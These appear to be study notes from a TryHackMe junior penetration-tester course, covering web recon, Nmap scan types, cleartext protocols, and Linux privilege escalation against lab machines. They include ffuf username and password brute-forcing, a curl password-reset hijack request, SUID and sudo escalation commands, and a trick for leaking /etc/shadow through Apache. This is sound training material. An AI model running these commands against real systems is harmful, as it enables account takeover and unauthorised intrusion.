TryHackMe_2
Jr Pentetration Tester
This learning path covers the core technical skills that will allow you to succeed as a junior penetration tester. Upon completing this path, you will have the practical skills necessary to perform security assessments against web applications and enterprise infrastructure.
Introduction to Cyber Security
1 | gobuster -u http://fakebank.com -w wordlist.txt dir |
Introduction to Pentesting
The ROE is a document that is created at the initial stages of a penetration testing engagement. This document consists of three main sections (explained in the table below), which are ultimately responsible for deciding how the engagement is carried out. The SANS institute has a great example of this document which you can view online here.
Section | Description |
---|---|
Permission | This section of the document gives explicit permission for the engagement to be carried out. This permission is essential to legally protect individuals and organisations for the activities they carry out. |
Test Scope | This section of the document will annotate specific targets to which the engagement should apply. For example, the penetration test may only apply to certain servers or applications but not the entire network. |
Rules | The rules section will define exactly the techniques that are permitted during the engagement. For example, the rules may specifically state that techniques such as phishing attacks are prohibited, but MITM (Man-in-the-Middle) attacks are okay. |
Intro to Web Hacking
Content DIscovery
Robots.txt
The robots.txt file is a document that tells search engines which pages they are and aren’t allowed to show on their search engine results or ban specific search engines from crawling the website altogether. It can be common practice to restrict certain website areas so they aren’t displayed in search engine results. These pages may be areas such as administration portals or files meant for the website’s customers. This file gives us a great list of locations on the website that the owners don’t want us to discover as penetration testers.
Favicon
The favicon is a small icon displayed in the browser’s address bar or tab used for branding a website.
Sometimes when frameworks are used to build a website, a favicon that is part of the installation gets leftover, and if the website developer doesn’t replace this with a custom one, this can give us a clue on what framework is in use. OWASP host a database of common framework icons that you can use to check against the targets favicon https://wiki.owasp.org/index.php/OWASP_favicon_database. Once we know the framework stack, we can use external resources to discover more about it (see next section).
1 | curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum |
Sitemap.xml
Unlike the robots.txt file, which restricts what search engine crawlers can look at, the sitemap.xml file gives a list of every file the website owner wishes to be listed on a search engine. These can sometimes contain areas of the website that are a bit more difficult to navigate to or even list some old webpages that the current site no longer uses but are still working behind the scenes.
HTTP Headers
1 | curl http://10.10.41.109 -v |
Framework Stack
Once you’ve established the framework of a website, either from the above favicon example or by looking for clues in the page source such as comments, copyright notices or credits, you can then locate the framework’s website.
Google Hacking/Dorking
Filter | Example | Description |
---|---|---|
site | site:tryhackme.com | returns results only from the specified website address |
inurl | inurl:admin | returns results that have the specified word in the URL |
filetype | filetype:pdf | returns results which are a particular file extension |
intitle | intitle:admin | returns results that contain the specified word in the title |
Wappalyzer
Wayback Machine
The Wayback Machine (https://archive.org/web/) is a historical archive of websites that dates back to the late 90s. You can search a domain name, and it will show you all the times the service scraped the web page and saved the contents. This service can help uncover old pages that may still be active on the current website.
GitHub
Git : version control system
S3 Buckets
S3 Buckets are a storage service provided by Amazon AWS, allowing people to save files and even static website content in the cloud accessible over HTTP and HTTPS. The owner of the files can set access permissions to either make files public, private and even writable. Sometimes these access permissions are incorrectly set and inadvertently allow access to files that shouldn’t be available to the public. The format of the S3 buckets is http(s)://{name}.s3.amazonaws.com where {name} is decided by the owner, such as tryhackme-assets.s3.amazonaws.com. S3 buckets can be discovered in many ways, such as finding the URLs in the website’s page source, GitHub repositories, or even automating the process. One common automation method is by using the company name followed by common terms such as {name}-assets, {name}-www, {name}-public, {name}-private, etc.
Automated Discovery
1 | ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.41.109/FUZZ |
1 | dirb http://10.10.41.109/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt |
1 | dir --url http://10.10.41.109/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt |
https://github.com/danielmiessler/SecLists
SubDomain Enumeration
SSL/TLS Certificates
When an SSL/TLS (Secure Sockets Layer/Transport Layer Security) certificate is created for a domain by a CA (Certificate Authority), CA’s take part in what’s called “Certificate Transparency (CT) logs”. These are publicly accessible logs of every SSL/TLS certificate created for a domain name. The purpose of Certificate Transparency logs is to stop malicious and accidentally made certificates from being used. We can use this service to our advantage to discover subdomains belonging to a domain, sites like https://crt.sh and https://ui.ctsearch.entrust.com/ui/ctsearchui offer a searchable database of certificates that shows current and historical results.
1 | https://crt.sh |
Search Engines
Search engines contain trillions of links to more than a billion websites, which can be an excellent resource for finding new subdomains. Using advanced search methods on websites like Google, such as the site: filter, can narrow the search results. For example, “-site:www.domain.com site:*.domain.com” would only contain results leading to the domain name domain.com but exclude any links to www.domain.com; therefore, it shows us only subdomain names belonging to domain.com.
OSINT-Sublist3r
subDomainsBrute
Virtual Hosts
Some subdomains aren’t always hosted in publically accessible DNS results, such as development versions of a web application or administration portals. Instead, the DNS record could be kept on a private DNS server or recorded on the developer’s machines in their /etc/hosts file (or c:\windows\system32\drivers\etc\hosts file for Windows users) which maps domain names to IP addresses.
Because web servers can host multiple websites from one server when a website is requested from a client, the server knows which website the client wants from the Host header. We can utilise this host header by making changes to it and monitoring the response to see if we’ve discovered a new website.
Like with DNS Bruteforce, we can automate this process by using a wordlist of commonly used subdomains.
Start an AttackBox and then try the following command against the Acme IT Support machine to try and discover a new subdomain.
1 | user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP |
The above command uses the -w switch to specify the wordlist we are going to use. The -H switch adds/edits a header (in this instance, the Host header), we have the FUZZ keyword in the space where a subdomain would normally go, and this is where we will try all the options from the wordlist.
Because the above command will always produce a valid result, we need to filter the output. We can do this by using the page size result with the -fs switch. Edit the below command replacing {size} with the most occurring size value from the previous result and try it on the AttackBox.
1 | user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP -fs {size} |
This command has a similar syntax to the first apart from the -fs switch, which tells ffuf to ignore any results that are of the specified size.
1 | -fs Filter HTTP response size. Comma separated list of sizes and ranges |
Authentication Bypass
Username Enumeration
A helpful exercise to complete when trying to find authentication vulnerabilities is creating a list of valid usernames, which we’ll use later in other tasks.
Website error messages are great resources for collating this information to build our list of valid usernames. We have a form to create a new user account if we go to the Acme IT Support website (http://MACHINE_IP/customers/signup) signup page.
If you try entering the username admin and fill in the other form fields with fake information, you’ll see we get the error An account with this username already exists. We can use the existence of this error message to produce a list of valid usernames already signed up on the system by using the ffuf tool below. The ffuf tool uses a list of commonly used usernames to check against for any matches.
1 | ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.172.56/customers/signup -mr "username already exists" |
In the above example, the -w
argument selects the file’s location on the computer that contains the list of usernames that we’re going to check exists. The -X
argument specifies the request method, this will be a GET request by default, but it is a POST request in our example. The -d
argument specifies the data that we are going to send. In our example, we have the fields username, email, password and cpassword. We’ve set the value of the username to FUZZ. In the ffuf tool, the FUZZ keyword signifies where the contents from our wordlist will be inserted in the request. The -H
argument is used for adding additional headers to the request. In this instance, we’re setting the Content-Type
to the webserver knows we are sending form data. The -u
argument specifies the URL we are making the request to, and finally, the -mr
argument is the text on the page we are looking for to validate we’ve found a valid username.
The ffuf tool and wordlist come pre-installed on the AttackBox or can be installed locally by downloading it from https://github.com/ffuf/ffuf.
Create a file called valid_usernames.txt and add the usernames that you found using ffuf; these will be used in Task 3.
1 | ffuf -w valid_usernames.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.172.56/customers/login -fc 200 |
This ffuf command is a little different to the previous one in Task 2. Previously we used the FUZZ keyword to select where in the request the data from the wordlists would be inserted, but because we’re using multiple wordlists, we have to specify our own FUZZ keyword. In this instance, we’ve chosen W1
for our list of valid usernames and W2
for the list of passwords we will try. The multiple wordlists are again specified with the -w
argument but separated with a comma. For a positive match, we’re using the -fc
argument to check for an HTTP status code other than 200.
1 | curl 'http://10.10.172.56/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm' |
Nmap
Nmap Live Host Discovery
Nmap Host Discovery Using ARP
ARP scan is possible only if you are on the same subnet as the target systems. On an Ethernet (802.3) and WiFi (802.11), you need to know the MAC address of any system before you can communicate with it.
1 | nmap -sn TARGETS |
1 | apt install arp-scan |
Nmap Host Discovery Using ICMP
We can ping every IP address on a target network and see who would respond to our ping
(ICMP Type 8/Echo) requests with a ping reply (ICMP Type 0). Simple, isn’t it? Although this would be the most straightforward approach, it is not always reliable. Many firewalls block ICMP echo; new versions of MS Windows are configured with a host firewall that blocks ICMP echo requests by default. Remember that an ARP query will precede the ICMP request if your target is on the same subnet.
To use ICMP echo request to discover live hosts, add the option -PE
. (Remember to add -sn
if you don’t want to follow that with a port scan.) As shown in the following figure, an ICMP echo scan works by sending an ICMP echo request and expects the target to reply with an ICMP echo reply if it is online.
1 | sudo nmap -PE -sn MACHINE_IP/24 |
Because ICMP echo requests tend to be blocked, you might also consider ICMP Timestamp or ICMP Address Mask requests to tell if a system is online. Nmap uses timestamp request (ICMP Type 13) and checks whether it will get a Timestamp reply (ICMP Type 14).
1 | nmap -PP -sn MACHINE_IP/24 |
Similarly, Nmap uses address mask queries (ICMP Type 17) and checks whether it gets an address mask reply (ICMP Type 18). This scan can be enabled with the option -PM
. As shown in the figure below, live hosts are expected to reply to ICMP address mask requests.
1 | nmap -PM -sn MACHINE_IP/24 |
Nmap Host Discovery Using TCP and UDP
1 | sudo nmap -PS -sn 10.10.68.220/24 //TCP SYN ping |
Finally, we can use UDP to discover if the host is online. Contrary to TCP SYN ping, sending a UDP packet to an open port is not expected to lead to any reply. However, if we send a UDP packet to a closed UDP port, we expect to get an ICMP port unreachable packet; this indicates that the target system is up and available.
1 | masscan MACHINE_IP/24 -p443 |
Using Reverse-DNS Lookup
Nmap’s default behaviour is to use reverse-DNS online hosts. Because the hostnames can reveal a lot, this can be a helpful step. However, if you don’t want to send such DNS queries, you use -n
to skip this step.
By default, Nmap will look up online hosts; however, you can use the option -R
to query the DNS server even for offline hosts. If you want to use a specific DNS server, you can add the --dns-servers DNS_SERVER
option.
Scan Type | Example Command |
---|---|
ARP Scan | sudo nmap -PR -sn MACHINE_IP/24 |
ICMP Echo Scan | sudo nmap -PE -sn MACHINE_IP/24 |
ICMP Timestamp Scan | sudo nmap -PP -sn MACHINE_IP/24 |
ICMP Address Mask Scan | sudo nmap -PM -sn MACHINE_IP/24 |
TCP SYN Ping Scan | sudo nmap -PS22,80,443 -sn MACHINE_IP/30 |
TCP ACK Ping Scan | sudo nmap -PA22,80,443 -sn MACHINE_IP/30 |
UDP Ping Scan | sudo nmap -PU53,161,162 -sn MACHINE_IP/30 |
Remember to add -sn
if you are only interested in host discovery without port-scanning. Omitting -sn
will let Nmap default to port-scanning the live hosts.
Option | Purpose |
---|---|
-n |
no DNS lookup |
-R |
reverse-DNS lookup for all hosts |
-sn |
host discovery only |
Nmap Basic Port Scans
At the risk of oversimplification, we can classify ports in two states:
- Open port indicates that there is some service listening on that port.
- Closed port indicates that there is no service listening on that port.
However, in practical situations, we need to consider the impact of firewalls. For instance, a port might be open, but a firewall might be blocking the packets. Therefore, Nmap considers the following six states:
Open: indicates that a service is listening on the specified port.
Closed: indicates that no service is listening on the specified port, although the port is accessible. By accessible, we mean that it is reachable and is not blocked by a firewall or other security appliances/programs.
Filtered: means that Nmap cannot determine if the port is open or closed because the port is not accessible. This state is usually due to a firewall preventing Nmap from reaching that port. Nmap’s packets may be blocked from reaching the port; alternatively, the responses are blocked from reaching Nmap’s host.
Unfiltered: means that Nmap cannot determine if the port is open or closed, although the port is accessible. This state is encountered when using an ACK scan
-sA
.Open|Filtered: This means that Nmap cannot determine whether the port is open or filtered.
Closed|Filtered: This means that Nmap cannot decide whether a port is closed or filtered.
Which service uses UDP port 53 by default?
1 | dns |
Which service uses TCP port 22 by default?
1 | ssh |
1 | nmap -sT ip |
Idle/Zombie Scan
Spoofing the source IP address can be a great approach to scanning stealthily. However, spoofing will only work in specific network setups. It requires you to be in a position where you can monitor the traffic. Considering these limitations, spoofing your IP address can have little use; however, we can give it an upgrade with the idle scan.
The idle scan, or zombie scan, requires an idle system connected to the network that you can communicate with. Practically, Nmap will make each probe appear as if coming from the idle (zombie) host, then it will check for indicators whether the idle (zombie) host received any response to the spoofed probe. This is accomplished by checking the IP identification (IP ID) value in the IP header. You can run an idle scan using nmap -sI ZOMBIE_IP MACHINE_IP
, where ZOMBIE_IP
is the IP address of the idle host (zombie).
The idle (zombie) scan requires the following three steps to discover whether a port is open:
- Trigger the idle host to respond so that you can record the current IP ID on the idle host.
- Send a SYN packet to a TCP port on the target. The packet should be spoofed to appear as if it was coming from the idle host (zombie) IP address.
- Trigger the idle machine again to respond so that you can compare the new IP ID with the one received earlier.
1 | -sI 10.10.5.5 |
This room covered the following types of scans.
Port Scan Type | Example Command |
---|---|
TCP Null Scan | sudo nmap -sN MACHINE_IP |
TCP FIN Scan | sudo nmap -sF MACHINE_IP |
TCP Xmas Scan | sudo nmap -sX MACHINE_IP |
TCP Maimon Scan | sudo nmap -sM MACHINE_IP |
TCP ACK Scan | sudo nmap -sA MACHINE_IP |
TCP Window Scan | sudo nmap -sW MACHINE_IP |
Custom TCP Scan | sudo nmap --scanflags URGACKPSHRSTSYNFIN MACHINE_IP |
Spoofed Source IP | sudo nmap -S SPOOFED_IP MACHINE_IP |
Spoofed MAC Address | --spoof-mac SPOOFED_MAC |
Decoy Scan | nmap -D DECOY_IP,ME MACHINE_IP |
Idle (Zombie) Scan | sudo nmap -sI ZOMBIE_IP MACHINE_IP |
Fragment IP data into 8 bytes | -f |
Fragment IP data into 16 bytes | -ff |
Option | Purpose |
---|---|
--source-port PORT_NUM |
specify source port number |
--data-length NUM |
append random data to reach given length |
These scan types rely on setting TCP flags in unexpected ways to prompt ports for a reply. Null, FIN, and Xmas scan provoke a response from closed ports, while Maimon, ACK, and Window scans provoke a response from open and closed ports.
Option | Purpose |
---|---|
--reason |
explains how Nmap made its conclusion |
-v |
verbose |
-vv |
very verbose |
-d |
debugging |
-dd |
more details for debugging |
Option | Meaning |
---|---|
-sV |
determine service/version info on open ports |
-sV --version-light |
try the most likely probes (2) |
-sV --version-all |
try all available probes (9) |
-O |
detect OS |
--traceroute |
run traceroute to target |
--script=SCRIPTS |
Nmap scripts to run |
-sC or --script=default |
run default scripts |
-A |
equivalent to -sV -O -sC --traceroute |
-oN |
save output in normal format |
-oG |
save output in grepable format |
-oX |
save output in XML format |
-oA |
save output in normal, XML and Grepable formats |
Protocols and Servers
Telnet 23
The Telnet protocol is an application layer protocol used to connect to a virtual terminal of another computer. Using Telnet, a user can log into another computer and access its terminal (console) to run programs, start batch processes, and perform system administration tasks remotely.
Telnet protocol is relatively simple. When a user connects, they will be asked for a username and password. Upon correct authentication, the user will access the remote system’s terminal. Unfortunately, all this communication between the Telnet client and the Telnet server is not encrypted, making it an easy target for attackers.
A Telnet server uses the Telnet protocol to listen for incoming connections on port 23. (Please note that the Telnet port is not open on the target VM.) Let’s consider the example shown below. A user is connecting to the telnetd
, a Telnet server.
Although Telnet gave us access to the remote system’s terminal in no time, it is not a reliable protocol for remote administration as all the data are sent in cleartext. In the figure below, we captured the traffic generated by Telnet, and it was so easy to find the password. The figure below shows the ASCII data exchanged between our computer and the remote system. The text in red is the text that we are sending to the remote system, while the text in blue is the text that the remote system is sending. Notice how the user name was sent back (echoed at us to display them in our terminal); however, the password was not. In other words, if someone is watching us type, they won’t be able to see the password characters on the screen.
Telnet is no longer considered a secure option, especially that anyone capturing your network traffic will be able to discover your usernames and passwords, which would grant them access to the remote system. The secure alternative is SSH, which we present in the next room.
HTTP 80
Hypertext Transfer Protocol (HTTP) is the protocol used to transfer web pages. Your web browser connects to the webserver and uses HTTP to request HTML pages and images among other files and submit forms and upload various files. Anytime you browse the World Wide Web (WWW), you are certainly using the HTTP protocol.
HTTP sends and receives data as cleartext (not encrypted); therefore, you can use a simple tool, such as Telnet (or Netcat), to communicate with a web server and act as a “web browser”. The key difference is that you need to input the HTTP-related commands instead of the web browser doing that for you.
In the following example, we will see how we can request a page from a web server; moreover, we will discover the webserver version. To accomplish this, we will use the Telnet client. We chose it because Telnet is a simple protocol; furthermore, it uses cleartext for communication. We will use telnet
instead of a web browser to request a file from the webserver.
1 | telnet 10.10.46.76 80 |
FTP 20
File Transfer Protocol (FTP) was developed to make the transfer of files between different computers with different systems efficient.
FTP also sends and receives data as cleartext; therefore, we can use Telnet (or Netcat) to communicate with an FTP server and act as an FTP client.
A command like STAT
can provide some added information. The SYST
command shows the System Type of the target (UNIX in this case). PASV
switches the mode to passive. It is worth noting that there are two modes for FTP:
- Active: In the active mode, the data is sent over a separate channel originating from the FTP server’s port 20.
- Passive: In the passive mode, the data is sent over a separate channel originating from an FTP client’s port above port number 1023.
The command TYPE A
switches the file transfer mode to ASCII, while TYPE I
switches the file transfer mode to binary. However, we cannot transfer a file using a simple client such as Telnet because FTP creates a separate connection for file transfer.
SMTP 25
Email is one of the most used services on the Internet. There are various configurations for email servers; for instance, you may set up an email system to allow local users to exchange emails with each other with no access to the Internet. However, we will consider the more general setup where different email servers connect over the Internet.
Email delivery over the Internet requires the following components:
- Mail Submission Agent (MSA)
- Mail Transfer Agent (MTA)
- Mail Delivery Agent (MDA)
- Mail User Agent (MUA)
The above four terms may look cryptic, but they are more straightforward than they appear. We will explain these terms using the figure below.
The figure shows the following five steps that an email needs to go through to reach the recipient’s inbox:
- A Mail User Agent (MUA), or simply an email client, has an email message to be sent. The MUA connects to a Mail Submission Agent (MSA) to send its message.
- The MSA receives the message, checks for any errors before transferring it to the Mail Transfer Agent (MTA) server, commonly hosted on the same server.
- The MTA will send the email message to the MTA of the recipient. The MTA can also function as a Mail Submission Agent (MSA).
- A typical setup would have the MTA server also functioning as a Mail Delivery Agent (MDA).
- The recipient will collect its email from the MDA using their email client.
If the above steps sound confusing, consider the following analogy:
- You (MUA) want to send postal mail.
- The post office employee (MSA) checks the postal mail for any issues before your local post office (MTA) accepts it.
- The local post office checks the mail destination and sends it to the post office (MTA) in the correct country.
- The post office (MTA) delivers the mail to the recipient mailbox (MDA).
- The recipient (MUA) regularly checks the mailbox for new mail. They notice the new mail, and they take it.
In the same way, we need to follow a protocol to communicate with an HTTP server, and we need to rely on email protocols to talk with an MTA and an MDA. The protocols are:
- Simple Mail Transfer Protocol (SMTP)
- Post Office Protocol version 3 (POP3) or Internet Message Access Protocol (IMAP)
We explain SMTP in this task and elaborate on POP3 and IMAP in the following two tasks.
Simple Mail Transfer Protocol (SMTP) is used to communicate with an MTA server. Because SMTP uses cleartext, where all commands are sent without encryption, we can use a basic Telnet client to connect to an SMTP server and act as an email client (MUA) sending a message.
SMTP server listens on port 25 by default. To see basic communication with an SMTP server, we used Telnet to connect to it. Once connected, we issue helo hostname
and then start typing our email.
1 | pentester@TryHackMe$ telnet 10.10.46.76 25 |
After helo
, we issue mail from:
, rcpt to:
to indicate the sender and the recipient. When we send our email message, we issue the command data
and type our message. We issue <CR><LF>.<CR><LF>
(or Enter . Enter
to put it in simpler terms). The SMTP server now queues the message.
Generally speaking, we don’t need to memorize SMTP commands. The console output above aims to help better explain what a typical mail client does when it uses SMTP.
POP3 110
Post Office Protocol version 3 (POP3) is a protocol used to download the email messages from a Mail Delivery Agent (MDA) server, as shown in the figure below. The mail client connects to the POP3 server, authenticates, downloads the new email messages before (optionally) deleting them.
The example below shows what a POP3 session would look like if conducted via a Telnet client. First, the user connects to the POP3 server at the POP3 default port 110. Authentication is required to access the email messages; the user authenticates by providing his username USER frank
and password PASS D2xc9CgD
. Using the command STAT
, we get the reply +OK 1 179
; based on RFC 1939, a positive response to STAT
has the format +OK nn mm
, where nn is the number of email messages in the inbox, and mm is the size of the inbox in octets (byte). The command LIST
provided a list of new messages on the server, and RETR 1
retrieved the first message in the list. We don’t need to concern ourselves with memorizing these commands; however, it is helpful to strengthen our understanding of such protocol.
1 | pentester@TryHackMe$ telnet 10.10.46.76 110 |
The example above shows that the commands are sent in cleartext. Using Telnet was enough to authenticate and retrieve an email message. As the username and password are sent in cleartext, any third party watching the network traffic can steal the login credentials.
In general, your mail client (MUA) will connect to the POP3 server (MDA), authenticate, and download the messages. Although the communication using the POP3 protocol will be hidden behind a sleek interface, similar commands will be issued, as shown in the Telnet session above.
Based on the default settings, the mail client deletes the mail message after it downloads it. The default behaviour can be changed from the mail client settings if you wish to download the emails again from another mail client. Accessing the same mail account via multiple clients using POP3 is usually not very convenient as one would lose track of read and unread messages. To keep all mailboxes synchronized, we need to consider other protocols, such as IMAP.
**IMAP ** 143
Internet Message Access Protocol (IMAP) is more sophisticated than POP3. IMAP makes it possible to keep your email synchronized across multiple devices (and mail clients). In other words, if you mark an email message as read when checking your email on your smartphone, the change will be saved on the IMAP server (MDA) and replicated on your laptop when you synchronize your inbox.
Let’s take a look at sample IMAP commands. In the console output below, we use Telnet to connect to the IMAP server’s default port, and then we authenticate using LOGIN username password
. IMAP requires each command to be preceded by a random string to be able to track the reply. So we added c1
, then c2
, and so on. Then we listed our mail folders using LIST "" "*"
, before checking if we have any new messages in the inbox using EXAMINE INBOX
. We don’t need to memorize these commands; however, we are simply providing the example below to give a vivid image of what happens when the mail client communicates with an IMAP server.
1 | pentester@TryHackMe$ telnet 10.10.46.76 143 |
It is clear that IMAP sends the login credentials in cleartext, as we can see in the command LOGIN frank D2xc9CgD
. Anyone watching the network traffic would be able to know Frank’s username and password.
It is good to remember the default port number for common protocols. For convenience, the services we covered are listed in the following table sorted by alphabetical order.
Protocol | TCP Port | Application(s) | Data Security |
---|---|---|---|
FTP | 21 | File Transfer | Cleartext |
FTPS | 990 | File Transfer | Encrypted |
HTTP | 80 | Worldwide Web | Cleartext |
HTTPS | 443 | Worldwide Web | Encrypted |
IMAP | 143 | Email (MDA) | Cleartext |
IMAPS | 993 | Email (MDA) | Encrypted |
POP3 | 110 | Email (MDA) | Cleartext |
POP3S | 995 | Email (MDA) | Encrypted |
SFTP | 22 | File Transfer | Encrypted |
SSH | 22 | Remote Access and File Transfer | Encrypted |
SMTP | 25 | Email (MTA) | Cleartext |
SMTPS | 465 | Email (MTA) | Encrypted |
Telnet | 23 | Remote Access | Cleartext |
Hydra remains a very efficient tool that you can launch from the terminal to try the different passwords. We summarize its main options in the following table.
Option | Explanation |
---|---|
-l username |
Provide the login name |
-P WordList.txt |
Specify the password list to use |
server service |
Set the server address and service to attack |
-s PORT |
Use in case of non-default service port number |
-V or -vV |
Show the username and password combinations being tried |
-d |
Display debugging output if the verbose output is not helping |
Linux Privilege Escalation
Enumeration
hostname
The hostname
command will return the hostname of the target machine. Although this value can easily be changed or have a relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system’s role within the corporate network (e.g. SQL-PROD-01 for a production SQL server).
uname -a
Will print system information giving us additional detail about the kernel used by the system. This will be useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.
/proc/version
The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavours, making it an essential tool to have in your arsenal.
Looking at /proc/version
may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed.
/etc/issue
Systems can also be identified by looking at the /etc/issue
file. This file usually contains some information about the operating system but can easily be customized or changes. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.
ps Command
The ps
command is an effective way to see the running processes on a Linux system. Typing ps
on your terminal will show processes for the current shell.
The output of the ps
(Process Status) will show the following;
- PID: The process ID (unique to the process)
- TTY: Terminal type used by the user
- Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
- CMD: The command or executable running (will NOT display any command line parameter)
The “ps” command provides a few useful options.
ps -A
: View all running processesps axjf
: View process tree (see the tree formation untilps axjf
is run below)ps aux
: Theaux
option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x). Looking at the ps aux command output, we can have a better understanding of the system and potential vulnerabilities.
env
The env
command will show environmental variables.
The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or leveraged for privilege escalation.
sudo -l
The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l
command can be used to list all commands your user can run using sudo
.
ls
One of the common commands used in Linux is probably ls
.
While looking for potential privilege escalation vectors, please remember to always use the ls
command with the -la
parameter. The example below shows how the “secret.txt” file can easily be missed using the ls
or ls -l
commands.
Id
The id
command will provide a general overview of the user’s privilege level and group memberships.
It is worth remembering that the id
command can also be used to obtain the same information for another user as seen below.
/etc/passwd
Reading the /etc/passwd
file can be an easy way to discover users on the system.
While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.
Remember that this will return all users, some of which are system or service users that would not be very useful. Another approach could be to grep for “home” as real users will most likely have their folders under the “home” directory.
history
Looking at earlier commands with the history
command can give us some idea about the target system and, albeit rarely, have stored information such as passwords or usernames.
ifconfig
The target system may be a pivoting point to another network. The ifconfig
command will give us information about the network interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking machine can reach the eth0 interface but can not directly access the two other networks.
This can be confirmed using the ip route
command to see which network routes exist.
netstat
Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat
command can be used with several different options to gather information on existing connections.
netstat -a
: shows all listening ports and established connections.netstat -at
ornetstat -au
can also be used to list TCP or UDP protocols respectively.netstat -l
: list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)netstat -s
: list network usage statistics by protocol (below) This can also be used with the-t
or-u
options to limit the output to a specific protocol.netstat -tp
: list connections with the service name and PID information.- This can also be used with the
-l
option to list listening ports (below) netstat -i
: Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”.
The netstat
usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano
which could be broken down as follows;
-a
: Display all sockets
-n
: Do not resolve names
-o
: Display timers
1 | netstat -anop |
find Command
Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.
Below are some useful examples for the “find” command.
Find files:
find . -name flag1.txt
: find the file named “flag1.txt” in the current directoryfind /home -name flag1.txt
: find the file names “flag1.txt” in the /home directoryfind / -type d -name config
: find the directory named config under “/”find / -type f -perm 0777
: find files with the 777 permissions (files readable, writable, and executable by all users)find / -perm a=x
: find executable filesfind /home -user frank
: find all files for user “frank” under “/home”find / -mtime 10
: find files that were modified in the last 10 daysfind / -atime 10
: find files that were accessed in the last 10 dayfind / -cmin -60
: find files changed within the last hour (60 minutes)find / -amin -60
: find files accesses within the last hour (60 minutes)find / -size 50M
: find files with a 50 MB size
This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.
1 | find / -size +100M |
Folders and files that can be written to or executed from:
find / -writable -type d 2>/dev/null
: Find world-writeable foldersfind / -perm -222 -type d 2>/dev/null
: Find world-writeable foldersfind / -perm -o w -type d 2>/dev/null
: Find world-writeable folders
1 | find / -perm -u=s -type f 2>/dev/null |
Tools
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
Kernel Exploits
Privilege escalation ideally leads to root privileges. This can sometimes be achieved simply by exploiting an existing vulnerability, or in some cases by accessing another user account that has more privileges, information, or access.
Unless a single vulnerability leads to a root shell, the privilege escalation process will rely on misconfigurations and lax permissions.
The kernel on Linux systems manages the communication between components such as the memory on the system and applications. This critical function requires the kernel to have specific privileges; thus, a successful exploit will potentially lead to root privileges.
The Kernel exploit methodology is simple;
- Identify the kernel version
- Search and find an exploit code for the kernel version of the target system
- Run the exploit
Although it looks simple, please remember that a failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of your penetration testing engagement before attempting a kernel exploit.
Researh sources:
- Based on your findings, you can use Google to search for an existing exploit code.
- Sources such as https://www.linuxkernelcves.com/cves can also be useful.
- Another alternative would be to use a script like LES (Linux Exploit Suggester) but remember that these tools can generate false positives (report a kernel vulnerability that does not affect the target system) or false negatives (not report any kernel vulnerabilities although the kernel is vulnerable).
Hints/Notes:
- Being too specific about the kernel version when searching for exploits on Google, Exploit-db, or searchsploit
- Be sure you understand how the exploit code works BEFORE you launch it. Some exploit codes can make changes on the operating system that would make them unsecured in further use or make irreversible changes to the system, creating problems later. Of course, these may not be great concerns within a lab or CTF environment, but these are absolute no-nos during a real penetration testing engagement.
- Some exploits may require further interaction once they are run. Read all comments and instructions provided with the exploit code.
- You can transfer the exploit code from your machine to the target system using the
SimpleHTTPServer
Python module andwget
respectively.
Sudo
The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges. For example, a junior SOC analyst may need to use Nmap regularly but would not be cleared for full root access. In this situation, the system administrator can allow this user to only run Nmap with root privileges while keeping its regular privilege level throughout the rest of the system.
1 | sudo nmap --interactive |
Any user can check its current situation related to root privileges using the sudo -l
command.
https://gtfobins.github.io/ is a valuable source that provides information on how any program, on which you may have sudo rights, can be used.
Leverage application functions
Some applications will not have a known exploit within this context. Such an application you may see is the Apache2 server.
In this case, we can use a “hack” to leak information leveraging a function of the application. As you can see below, Apache2 has an option that supports loading alternative configuration files (-f
: specify an alternate ServerConfigFile).
Loading the /etc/shadow
file using this option will result in an error message that includes the first line of the /etc/shadow
file.
Leverage LD_PRELOAD
On some systems, you may see the LD_PRELOAD environment option.
